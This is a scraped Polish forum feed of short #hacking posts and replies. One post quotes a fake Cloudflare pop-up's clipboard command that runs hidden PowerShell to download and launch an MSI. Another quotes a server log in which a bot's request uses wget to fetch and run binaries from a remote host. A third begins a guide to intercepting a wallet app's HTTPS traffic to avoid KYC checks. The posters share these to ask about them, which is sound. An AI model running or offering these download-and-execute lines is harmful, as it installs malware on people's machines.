Wszystko

Najnowsze

Archiwum

tomilipin
tomilipin
  • 1
Na stronie japomoto.pl wyskakuje mi pop-up niby od Cloudflare, że nie może zweryfikować, że jestem człowiekiem. Pokazuje się obrazek (poniżej) i automatycznie kopiuje mi do schowka kod

cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\users\public\3aw.msi'; Invoke-RestMethod -Uri 'https://cośtam.short.gy/1' -OutFile $path; Start-Process $path;
Adres w kodzie powyżej zmieniłem, żeby nikt się nie naciął. Oczywiście nic nie wklejam, ale jestem ciekaw co to polecenie zrobi.

Pomożecie rozszyfrować?
#hacking #wirus
tomilipin - Na stronie japomoto.pl wyskakuje mi pop-up niby od Cloudflare, że nie moż...

źródło: Zrzut ekranu 2025-02-10 210023

Pobierz
  • 7
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
gchmurka
  • 0
Co się stało z danymi #eurocert
Dane miały być opublikowane dzisiaj, na cebulkowej stronie grupy która dopuściła się kradzieży nie widać już wpisu odliczającego do publikacji, publikacji nie ma (a inne dane które miały zostać opublikowane dzisiaj już są do pobrania).

Przestraszyli się skali problemu i tego, że dotyka on raczej wysoko ustawionych w hierarchii społecznej ludzi (nie zwykły Kowalski) i się wycofali, czy #eurocert opłacił haracz?

#
  • 1
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
aptitude
  • 2
Wyrywałem sobie włosy przez kilka literek

Zamiast res.set("Content-Type", "application/xml"); musiałem zmienić na res.set("Content-Type", "text/xml");
To technologia z lat 2007

Ale teraz działa <3 Skoro wiem już jak ustawić MIME, ale to też ich wina, nikt w dokumentacji nie napisał, że musi być text/xml!
aptitude - Wyrywałem sobie włosy przez kilka literek Zamiast res.set("Content-Type...

źródło: 2025-01-24-15-03-37-037

Pobierz
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
Saly
  • 0
@aptitude: widać, że nigdy nie pracowałeś z XMLem xd Z drugiej strony to tak idiotyczne, że istnieje to text vs application o które nikt nie daje j*****a póki nie zacznie się psuć
  • Odpowiedz
aptitude
  • 0
Właśnie stawiam serwisy na Cisco 7942G, i właśnie przez skórę czuje nostalgie jak dawniej było prosto gdzież się włamać nawet tak dla zabawy.
Mój openssh nawet nie chce się połączyć przez ssh z telefonem, bo jest za stary xD
Nawet to nie działa:

Host ciscodevice
Hostname
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
aptitude
  • 0
@aptitude: w sumie szkoda, że nie ma 3 linii, bo przydałaby się do testów, bo teraz na pierwszej mam sip.sdf.org a na drugiej dus.net, a chciałbym dodać trzecią ale nie obsługuje, jak chce coś testować usuwam dus.net i zamieniam na własny serwer SIP. Bo na dus.net mogę tylko dzwonić i to dosłownie na każdy numer i to kosztuje tylko centy. Ale nie mam własnego numeru jak na sdf, na sdf
  • Odpowiedz
SendMeAnAngel
  • 2
Uruchomienie starej wersji aplikacji Kanga Wallet
Ten poradnik pozwala nadal używać wersji aplikacji Kanga Wallet, która nie pyta o KYC. Działa on na Androdzie 6 lub starszym, gdzie nie trzeba rootować telefonu, aby podsłuchać szyfrowaną komunikację HTTPS. Nowszymi wersjami zajmę się później.

1. Instalujemy PCAPdroid
2. Instalujemy PCAPdroid-mitm
3. adb shell
  • 7
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
SendMeAnAngel
  • 1
Czy jeżeli giełda dojdzie do tego, że handlujesz bez KYC, to nie zablokuje ci środków?


@kamil-wasniewski: Dobre pytanie. Zgodnie z oficjalnym stanowiskiem Kangi można legalne handlować bez KYC spoza krajów EOG, czyli możesz połączyć się przez VPN np. z Ukrainy i aplikacja nie powinna zapytać o KYC.

Poradnik dotyczy możliwości dalszego korzystania ze starszej wersji aplikacji (jeśli ktoś nie aktualizuje).
  • Odpowiedz
Retka
Retka
  • 0
Przyszło mi powiadomienie od facebooka odnośnie nieznanego logowania, a sesja wygasła(w tym samym czasie jak straciłam internet w telefonie) Pierwszy raz taka sytuacja. Hasło od razu zmienione, wylogowane ze wszystkiego i dwustopniowa weryfikacja, email też zmieniony. Czy to możliwe, że to fałszywy alarm i facebook się rypnął z lokalizacją? I czy zrobić coś jeszcze, czy już jest safe? I w dzienniku aktywności było kilka razy wyszukiwane moje imię i nazwisko :/ #
Retka - Przyszło mi powiadomienie od facebooka odnośnie nieznanego logowania, a sesja...

źródło: image

Pobierz
  • 1
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
Pan_Slon
Pan_Slon
  • 1
Orange wykonało mi przyłączę pod usługe internet 8gbps w technologii XGSPON, dostałem Funbox10, który jest bardzo duży i bardzo biedny, nic ciekawego w nim nie można ustawić, do tego jakieś eko-sreko powoduje że się usypia...i rozłącza net 😕
Przyjdzie pora na jego zastąpienie wkładką SFP+ lub mniejszym ONT 😃

https://www.youtube.com/shorts/N4ebbe_Bi0k

#siecikomputerowe #internet #orange #netia #hacking
PanSlon - Orange wykonało mi przyłączę pod usługe internet 8gbps w technologii XGSPON...
  • 6
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
okfmale
  • 1
do tego jakieś eko-sreko powoduje że się usypia


@Pan_Slon: dziwne ze hakier ktory tak bardzo rozwija branze nie doszedl do tego, ze mozna to wlasnorecznie wylaczyc.
  • Odpowiedz
kidi1
  • 0
@Ramadamadingdong: To konto Ci skradziono bo popełniłeś jakiś błąd. Obecny właściciel go nie popełni i żaden hacker nic nie zrobi. Słabo zabezpieczyłeś, albo wlazłeś w linka phishingowego.
  • Odpowiedz
DigitalPasztet
  • 1
@Frwrd05: wszystko i nic bo nic konkretnego nie napisałeś ograniczeniem nie jest brak fantazji i wyobraźni do p---------a.. ograniczeniem są możliwości inżynieryjne takie możliwości jakie są obecnie to najlepsze jakie mamy.. to co opisałeś już jest w pewnym sensie a w pewnym będzie a w pewnym nie ma przełóż to na język techniczny konkretnie bo nie wiadomo zupełnie o czym w ogóle piszesz
  • Odpowiedz
5da4266d3de6dbaf425a2d4fc16225d0
5da4266d3de6dbaf425a2d4fc16225d0
  • 5
Świetny talk z 38C3 na temat odzyskania kontroli nad cubesatem utraconym 10 lat temu. Jeden ze studentów zdiagnozował co było przyczyną awarii a następnie rozkminił jak shackować oprogramowanie tak, żeby przywrócić kontrolę.

https://media.ccc.de/v/38c3-hacking-yourself-a-satellite-recovering-beesat-1#l=eng

#kosmos #hacking
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
klamkaodokna
klamkaodokna
  • 1
postawiłem na WSL http.server w pythonie i wypluł mi on w pewnym momencie taki oto log:

172.20.4x.x - - [30/Dec/2024 18:30:21] "GET /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+njvwa4+dbda7;wget+http:/\/fniew.eye-network.ru/dbda7;chmod+777+dbda7;./dbda7+jaws;rm+-rf+dbda7;wget+http:/\/fniew.eye-network.ru/wheiuwa4;chmod+777+wheiuwa4;./wheiuwa4+jaws;rm+-rf+wheiuwa4 HTTP/1.1" 404 -


zastanawiam się jakim cudem był on otwarty na świat skoro mam wewnętrzne IP? Mój ISP to mała, osiedlowa firemka i byłem zawsze pewny, że nic ode mnie nie ma prawa nasłuchiwać po drugiej stronie ISPowego switcha, który zapewne jest gdzieś w piwnicy (ale słabo znam się na sieciach).

Moja
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
TenNorbert
  • 1
@klamkaodokna:
172.20 to nadal wewnętrzna adresacja. Masz podgląd do konfiguracji na głównym routerze? Obstawiam że maska 24 albo i więcej i wszyscy się widzą wzajemnie.
ISP upchał wielu klientów w 1 podsieci żeby zaoszczędzić na adresacji.
  • Odpowiedz

Powiązane tagi